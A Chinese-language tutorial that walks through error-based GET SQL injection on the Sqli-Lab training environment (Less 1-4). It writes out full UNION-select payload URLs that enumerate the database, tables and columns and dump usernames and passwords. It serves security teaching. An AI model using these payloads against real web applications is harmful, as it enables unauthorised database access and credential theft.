一、SQL注入分类
根据注入位置数据类型可将SQL注入分为两类:数字型和字符型
例如:
数字型:select * from table where id = 用户输入id
字符型:select * from table where id = ‘用户输入id‘
二、GET基于报错的SQL注入发现
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \ 来探测URL中是否存在注入点。
- 实验:Sqli-Lab Less1-4,GET基于报错的SQL注入。
‘‘1‘‘ LIMIT 0,1‘
‘1‘‘ LIMIT 0,1
‘1‘ LIMIT 0,1
select login_name,password from admin where id = ‘id‘ limit 0,1;
‘‘ LIMIT 0,1‘
‘ LIMIT 0,1
LIMIT 0,1
select login_name,password from admin where id = id limit 0,1;
‘‘1‘‘) LIMIT 0,1‘
‘1‘‘) LIMIT 0,1
‘1‘) LIMIT 0,1
(‘1‘) LIMIT 0,1
select login_name,password from admin where id = (‘id‘) limit 0,1;
‘"1\") LIMIT 0,1‘
"1\") LIMIT 0,1
"1") LIMIT 0,1
("1") LIMIT 0,1
select login_name,password from admin where id = ("id") limit 0,1;
三、GET基于报错的SQL注入利用
1、group_concat()函数
? 在有group by的查询语句中,select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中。
2、对 Sqli-Lab Less1 使用联合查询,步骤如下:
1)利用 order by 判断字段数
http://192.168.16.68:90/sqli/Less-1/?id=1‘ order by 4 --+
2)利用 union select 联合查询确定可以回显字段
http://xx/sqli/Less-1/?id=0‘ union select 1,2,3 --+
3)利用 union select 联合查询配合user() 函数和 database() 函数获取用户名和数据库名
http://xx/sqli/Less-1/?id=0‘ union select 1,user(),database() --+
4)利用 union select 联合查询,获取表名
http://xx/sqli/Less-1/?id=0‘ union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() --+
5、利用 union select 联合查询,获取字段名
http://xx/sqli/Less-1/?id=0‘ union select 1, group_concat(column_name), 3 from information_schema.columns where table_name=‘users‘ --+
6、利用 union select 联合查询,获取字段值
http://xx/sqli/Less-1/?id=0‘ union select 1 , group_concat(username,0x3a,password),3 from users --+